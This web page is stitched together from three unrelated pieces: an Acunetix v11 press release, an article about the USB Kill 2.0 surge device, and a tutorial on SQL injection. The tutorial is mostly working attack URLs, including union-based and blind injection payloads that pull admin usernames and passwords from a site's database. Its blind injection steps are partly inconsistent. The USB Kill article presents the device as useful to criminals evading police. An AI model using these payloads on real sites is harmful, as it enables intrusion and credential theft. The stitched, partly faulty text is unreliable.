London, UK – November 2016 – Acunetix, the pioneer in automated web application security software, has announced the release of version 11. New integrated vulnerability management features extend the enterprise’s ability to comprehensively manage, prioritise and control vulnerability threats – ordered by business criticality. Version 11 includes a new web-based UI for greater ease-of-use and manageability, providing access by multiple users.

For the first time in the marketplace Acunetix is launching an enterprise-level product that integrates sophisticated automated testing technology with vulnerability management, at a price point accessible to every development team. Chris Martin, CEO, Acunetix explains:

“Acunetix has for the past 12 years been at the forefront in web application security with its cutting-edge vulnerability scanning technology. With version 11 we have combined proactive scanning for web application vulnerabilities with the prioritization of mitigation activities. This integration helps security teams gain the intelligence they need to work more efficiently, prioritizing actions, assigning jobs and therefore reducing costs.”

The new web-based interface significantly improves the manageability of the Acunetix on-premises solution, making it easy for less seasoned security personnel to check the vulnerabilities within the company’s web assets. In addition, user privileges can be automatically assigned.

Nicholas Sciberras, CTO, Acunetix, comments: “Version 11 helps organizations engaged heavily in application development by utilising a role-based multi-user system.”

Inbuilt Vulnerability Management

New integrated vulnerability management features allow for the review of aggregated vulnerability data across all Targets, prioritizing security risks and therefore providing a clear view of the business’ security posture, while facilitating compliance.

New inbuilt vulnerability management features include:

All Targets (web applications to scan) are now stored in Acunetix with their individual settings and can be easily re-scanned.
Targets are displayed in one interface and classified by business criticality, allowing you to easily focus on the most important assets.
Vulnerabilities can also be prioritized by the Target’s business criticality.
Consolidated reports are stored in the central interface.
Users can choose between “Target reports”, “Scan reports” or “All Vulnerabilities” report.

Web-based user interface

The user interface has been re-engineered from the ground up for greater usability and manageability. The minimalist design focuses on the most widely used and important features, doing away with extras which cluttered the screen. Since the interface is now web-based, multiple users can access it from their browser irrespective of the OS used.

Role-based multi-user system

Acunetix version 11 allows the creation of multiple user accounts, which can be assigned a particular group of targets. Depending on the privileges assigned to the user, the user can create, scan, and report on the targets assigned to him.This is particularly important for large enterprises, which require multiple users to help secure their assets.

Standard, Pro and Enterprise Editions

Acunetix version 11 will be available in three main editions: Standard, Pro and Enterprise.

Standard Edition – is the entry level, ideal for small organisations and single workstation users. The Standard Edition offers the same level of vulnerability detection provided in the Pro and Enterprise Editions and includes Developer, Executive Summary and OWASP Top 10 reports.

Pro Edition – The Pro Edition allows outsourced or insourced security professionals to group and classify asset targets. It integrates with Software Development Life Cycle (SDLC) project management or bug tracking systems, includes comprehensive compliance reports, and integrates with top Web Application Firewalls (WAFs).

Enterprise Edition – includes full multi-user team support and has the ability to deploy multiple scan engines managed by the central system. The Enterprise Edition will be able to scale from 3 to unlimited users and up to 50 Acunetix scan engines.

USB Kill to Destroy any Computer within Seconds! - USB Kill 2.0

By 0x000216

Read

0 Comments

A proof-of-concept USB prototype that was designed by a Russian researcher, Dark Purple, last year, to effectively destroy sensitive components of a computer when plugged in.

Now, someone has actually created the Killer USB stick that destroys almost anything – such as Laptops, PCs, or televisions – it is plugged into.

A Hong Kong-based technology manufacturer is selling a USB thumb drive called USB Kill 2.0 that can fry any unauthorized computer it's plugged into by introducing a power surge via the USB port. It costs $49.95.

How does USB Kill 2.0 work?

As the company explains, when plugged in, the USB Kill 2.0 stick rapidly charges its capacitors via the USB power supply, and then discharges – all in a matter of seconds.

The USB stick discharges 200 volts DC power over the data lines of the host machine and this charge-and-discharge cycle is repeated several numbers of times in just one second, until the USB Kill stick is removed.

"When tested on computers, the device isn't designed or intended to erase data," the company says. "However, depending on the hardware configuration (SSD [solid-state drive] vs. platter HDD [hard disk drive]), the drive controllers may be damaged to the point that data retrieval is impractical."

"Any public facing USB port should be considered an attack vector," the company says in a news release. "In data security, these ports are often locked down to prevent exfiltration of data or infiltration of malware, but are very often unprotected against electrical attack."

When And For Whom USB KILL Would Be Useful?

USB Kill stick could be a boon for whistleblowers, journalists, activists, and, not to forget, cyber criminals, who want to keep their sensitive data away from law enforcement as well as cyber thieves.

It is like, if you're caught, kill yourself. In the same fashion as terrorists do. Here I mean to kill the data from your laptop if the law enforcement has caught your laptop. And USB Kill stick does the same for you.

However, the company claims to have developed USB Kill 2.0 stick for the sole purpose of allowing companies to test their devices against USB Power Surge attacks and to prevent data theft via "Juice Jacking" attacks.

Video Demonstration

You can watch the video demonstration below by the company that shows USB Kill 2.0 stick in action.

The company claims about 95% of all devices available on the market today are vulnerable to power surge attacks introduced via the USB port.

However, the only devices not vulnerable to USB kill attacks are recent models of Apple's MacBook, which optically isolate the data lines on USB ports.

Juice jacking is a type of cyber attack wherein malware installed on a computer can surreptitiously copy data from a smartphone, tablet or other computers using a USB charging port that doubles as a data connection, typically over USB.

While USB Kill 2.0 has been "designed and tested to be safe," the company warns that the USB stick "is a high-voltage device" and is only meant for "responsible adults." Also, the company's website "strongly condemns the malicious use of its products."

USB Kill 2.0 also comes with a USB Protection Shield, called Test Shield, sold for additional $15.70, which is designed to allow testing of the USB Killer stick without destroying the host machine.

[1]* -Introducing The SQL Injection Vuln:

SQL injection attacks are known also as SQL insertion
it's in the form of executing some querys in the database and getting acces to informations (SQL Vesion, Number & Names of tables and columns,some authentification infos,ect...)

[2]* -Exploiting Sql Injection Vuln :

Before proceeding to the exploitation of sql injections we have to checking for this vulnerability, so we have an exemple

http://www.website.com/articles.php?id=3

for checking the vulnerability we have to add ' (quote) to the url , lets see together

http://www.website.com/articles.php?id=3'

now, if we get an error like this "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."

this website is vulnerable to sql injection, and if we don't get anything we can't exploiting this vulnerability.

Now, Lets go to exploiting this vuln and finding some informations about this sql database

certainly before doing anything we have to find the number of columns

[-] Finding the number of columns:

for finding the number of columns we use ORDER BY to order result in the database

lets see that ,

http://www.website.com/articles.php?id=3 order by 1/*

and if we havn't any error we try to change the number

http://www.website.com/articles.php?id=3 order by 2/*

still no error,so we continu to change the number

http://www.website.com/articles.php?id=3 order by 3/*

no error to

http://www.website.com/articles.php?id=3 order by 4/*

no error

http://www.website.com/articles.php?id=3 order by 5/*

yeah , here we have this error (Unknown column '5' in 'order clause')

so, this database has 4 colmuns because the error is in the 5

now, we try to check that UNION function work or not

[-] Checking UNION function :

for using UNION function we select more informations from the database in one statment

so we try this

http://www.website.com/articles.php?id=3 union all select 1,2,3,4/* (in the end it's 4 because we have see the number of columns it's 4)

now, if we see some numbers in the page like 1 or 2 or 3 or 4 == the UNION function work

if it not work we try to change the /* to --

so we have this

http://www.website.com/articles.php?id=3 union all select 1,2,3,4--

after checking the UNION function and it works good we try to get SQL version

[-] Getting SQL Version :

now we have a number in the screen after checking the UNION

we say in example that this number is 3

so we replace 3 with @@version or version()

http://www.website.com/articles.php?id=3 union all select 1,2,@@version,4/*

and now we have the version in the screen!

lets go now to get tables and columns names

[-] Getting tables and columns names :

here we have a job to do!!

if the MySQL Version is < 5 (i.e 4.1.33, 4.1.12...)

lets see that the table admin exist!

http://www.website.com/articles.php?id=3 union all select 1,2,3,4,5 from admin/*

and here we see the number 3 that we had in the screen

now, we knows that the table admin exists

here we had to check column names:

http://www.website.com/articles.php?id=3 union all select 1,2,username,4,5 from admin/*

if we get an error we have to try another column name

and if it work we get username displayed on screen (example: admin,moderator,super moderator...)

after that we can check if column password exists

we have this

http://www.website.com/articles.php?id=3 union all select 1,2,password,4,5 from admin/*

and oups! we see password on the screen in a hash or a text

now we have to use 0x3a for having the informations like that username:password ,dmin:unhash...

http://www.website.com/articles.php?id=3 union all select 1,2,concat(username,0x3a,password),4,5 from admin/*

this is the sample SQL Injection , now, we will go to the blind sql injection (more difficult)

[3]* -Exploiting Blind SQL Injection Vuln :

first we should check if website is vulnerable for example

http://www.website.com/articles.php?id=3

and to test the vulnerability we had to use

http://www.website.com/articles.php?id=3 and 1=1 ( we havn't any error and the page loads normally)

and now

http://www.website.com/articles.php?id=3 and 1=2

here we have some problems with text, picture and some centents ! and it's good! this website is vulnerable for Blind SQL Injection

we have to check MySQL Version

[-] Getting MySQL Version :

we use substring in blind injection to get MySQL Version

http://www.website.com/articles.php?id=3 and substring(@@version,1,1)=4

we should replace the 4 with 5 if the version is 5

http://www.website.com/articles.php?id=3 and substring(@@version,1,1)=5

and now if the function select do not work we should use subselect and we should testing if it work

[-] Testing if subselect works :

http://www.website.com/articles.php?id=3 and (select 1)=1 ( if the page load normaly the subselect works good)

and now we have to see if we have access to mysql.user

http://www.website.com/articles.php?id=3 and (select 1 from mysql.user limit 0,1)=1 (if it load normaly we have access to mysql.user)

now, we can checking table and column names

[-] Checking table and column names :

http://www.website.com/articles.php?id=3 and (select 1 from users limit 0,1)=1

if the page load normaly and no errors the table users exists

now we need column name

http://www.website.com/articles.php?id=3 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page load normaly and no errors the column password exists

now we have the table and the column , yeah, we can exploiting the vunlnerability now

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

the page load normaly and no errors,so we need to change the 80 for having an error

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>90

no errors ! we continu

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Yeah!! an error

the character is char(99). we use the ascii converter and we know that char(99) is letter 'c'

to test the second character we change ,1,1 to ,2,1

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

the page load normaly

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

the page loads normally, higher !!!

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

error ! lower number

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

Error That we search!!

now, we know that the second character is char(105) and that is 'i' with the ascii converter. We have 'ci' now from the first and the second charactets

our tutorial draws to the close!

Thanks you for reading and i hope that you have understand SQL Injection and exploitations of this vulnerability .
